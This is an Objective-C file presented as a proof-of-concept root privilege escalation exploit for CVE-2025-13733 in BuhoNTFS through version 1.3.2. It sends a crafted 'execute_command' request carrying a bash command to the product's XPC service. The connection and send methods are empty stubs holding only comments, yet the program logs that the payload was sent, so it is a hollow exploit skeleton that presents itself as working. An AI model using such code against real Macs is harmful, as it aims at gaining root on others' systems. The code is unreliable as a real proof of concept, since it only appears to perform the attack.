CVE-2025-13733

// CVE-2025-13733 BuhoNTFS Local Privilege Escalation PoC // Target: BuhoNTFS <= 1.3.2 // Attack Type: Insecure XPC Service Privilege Escalation #import <Foundation/Foundation.h> #import <objc/runtime.h> // XPC Service connection helper @interface XPCClient : NSObject - (void)connectToService:(NSString *)serviceName; - (void)sendPrivilegedRequest:(NSDictionary *)request; @end @implementation XPCClient - (void)connectToService:(NSString *)serviceName { NSLog(@"[*] Connecting to XPC service: %@", serviceName); // Establish connection to vulnerable XPC service } - (void)sendPrivilegedRequest:(NSDictionary *)request { NSLog(@"[*] Sending privilege escalation request..."); // Send crafted request to trigger privilege escalation // The service executes the request with root privileges } @end int main(int argc, const char * argv[]) { @autoreleasepool { NSLog(@"[*] CVE-2025-13733 BuhoNTFS Privilege Escalation PoC"); NSLog(@"[*] Target: BuhoNTFS 1.3.2"); XPCClient *client = [[XPCClient alloc] init]; [client connectToService:@"com.drbuho.buhontfs.xpc"]; // Craft malicious request to escalate privileges NSDictionary *maliciousRequest = @{ @"action": @"execute_command", @"command": @"/bin/bash -c 'whoami > /tmp/pwned'", @"privileged": @YES }; [client sendPrivilegedRequest:maliciousRequest]; NSLog(@"[+] Privilege escalation payload sent"); } return 0; }

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